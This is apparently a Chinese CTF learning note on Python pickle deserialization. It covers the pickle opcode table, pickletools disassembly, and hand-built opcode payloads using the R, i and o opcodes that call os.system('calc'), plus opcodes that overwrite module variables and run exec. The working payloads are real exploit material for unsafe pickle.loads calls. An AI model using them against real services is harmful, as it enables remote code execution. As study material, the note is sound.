在打XY时遇到了pickle反序列化,但是没打出来故学习。

什么是pickle

pickle其实就是python中用于序列化和反序列化的一种模块。

其将对象序列化的结果是由一系列opcode组成的。如下

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os
import base64
import pickletools
class lalala():
def __reduce__(self):
return (os.system,("dir",))
haha=lalala()
print(pickle.dumps(haha,protocol=0))
----------------------------------------------
cnt\nsystem\np0\n(Vdir\np1\ntp2\nRp3\n.

我们可以看到其输出值为V0协议的opcode,该协议也称为人类可读的协议版本。

opcode

既然其序列化的结果为opcode那么我们想要较为深入的了解pickle反序列化就要了解一下什么是opcode

概念

Opcode,全称为Operation Code,是指操作码或指令码,它是计算机体系结构中的一部分。
即opcode可以算较为底层的指令码。

pickle中opcode的版本

v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
第 2 版协议是在 Python 2.3 中引入的。 它为 新式类 提供了更高效的封存机制。 请参考 PEP 307 了解第 2 版协议带来的改进的相关信息。
v3 版协议是在 Python 3.0 中引入的。 它显式地支持字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
第 5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持,并可加速带内数据处理。

常用的opcode

这里我就直接引用一个师傅的了https://goodapple.top/archives/1069

指令 描述 具体写法 栈上变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
( 向栈中压入一个MARK标记 ( MARK标记入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、\’等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

opcode的解析过程

我这里直接贴图了

我们可以发现其解析的过程是在栈内实现的。

pickletools

这个模块可以使我们可以更加轻松的阅读opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import pickle
import os
import base64
import pickletools
class lalala():
def __reduce__(self):
return (os.system,("dir",))
haha=lalala()
bb=pickle.dumps(haha,protocol=0)
print(bb)
print(pickletools.dis(bb))
----------------------------------------------------------------
b'cnt\nsystem\np0\n(Vdir\np1\ntp2\nRp3\n.'
0: c GLOBAL 'nt system'
11: p PUT 0
14: ( MARK
15: V UNICODE 'dir'
20: p PUT 1
23: t TUPLE (MARK at 14)
24: p PUT 2
27: R REDUCE
28: p PUT 3
31: . STOP
highest protocol among opcodes = 0
None

重点分析

由于我的是windows端所以生成的opcode的第一步c所导入的模块使用的是nt system其中os被替换为nt而nt代表windows系统。然后用p将栈顶进行存储在memo_n,而后使用(压入一个MARK这是为了后面的R来做准备。而后用V压入字符。最后就是t将dir存为元组后使用R来进行函数执行,函数为system,参数为dir。
我们经过分析可以发现其是可以命令执行的。即我们在使用pickle.dumps来反序列化上面的opcode会命令执行os.system(‘dir’)
但是,我们可以看到直接使用pyhton的pickle.dumps来生成的opcode会以为操作系统的不同而不同而不同,这也就增加了报错的可能。而且使用这个来构造还非常不灵活。所以我们要学会手动构造。

手动构造命令执行的opcode

我们看上面的常用opcode会发现有三种可以命令执行的opcode,即R o i
构造基础的难度不高,我们只要构造出os.system(‘calc’)即函数很参数即可
如下

命令执行

R

1
2
3
4
loads=b'''cos
system
(S'calc'
tR.'''

我们使用c来获取os.system。之后导入一个MARK这是为了生成元组做的准备(用R来进行命令执行的参数必须为元组),之后就是用S导入一个参数。在用t生成元组,在R来命令执行
剩下的也大同小异我就直接写payload了

i

1
2
3
4
loads=b'''(S'calc'
ios
system
.'''

o

1
2
3
4
loads=b'''(cos
system
S'calc'
o.'''

操控实例化对象的属性

我们可以使用这个来实例化修改一个对象
这个opcode也较短我们可以手动构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import os
import base64
import pickletools
class lalala():
def __init__(self,name,age):
self.name=name
self.age=age
opcode=b'''c__main__
lalala
(S'dazhuang'
S'benben'
tR.'''
a=pickle.loads(opcode)
print(a)
print(a.name,a.age)

------------------------------------------------------------------------
<__main__.lalala object at 0x000001B52C191250>
dazhuang benben

构造实例化类的opcode的大体方法与命令执行的方法没有太大的区别,这时因为实例化的过程与函数传参执行的过程非常像
我们可以看到当我们反序列化了这个opcode时lalala被实例化了

变量覆盖

覆盖导入的其他python文件的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import secret
import os
name="benben"
print('secret值为'+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'hahaha'
db.'''
pickle.loads(opcode)
print('secret值为'+secret.secret)
------------------------------------------------------------------------------
secret值为lalalala
secret值为hahaha

我们通过c__main__\nsecret来获取导入的secret模块。在利用d操作符来将其变为字典{'secret':'hahaha'}而后利用d操作符来更新。这就导致了其被覆盖

覆盖当前文件文件下的变量

对于当前文件下的变量覆盖我们可以使用命令执行函数exec和eval来执行
不知道为什么我徒手构造这个一直报错使用这个我就先写一下用reduce来构造的方法,因为这个没有设计操作系统的命令执行,所有只要是python环境就可以执行。所有使用reduce来构造的即使在其他系统也可以执行。

1
2
3
4
5
6
7
8
9
10
11
12
name="benben"
class A(object):
def __reduce__(self):
return (exec,("name='dazhuang'",))
a = A()
opcode_app=pickle.dumps(a,protocol=0)
print(opcode_app)
pickle.loads(opcode_app)
print(name)
------------------------------------------------------------------------------
b"c__builtin__\nexec\np0\n(Vname='dazhuang'\np1\ntp2\nRp3\n."
dazhuang

使用Pker来构造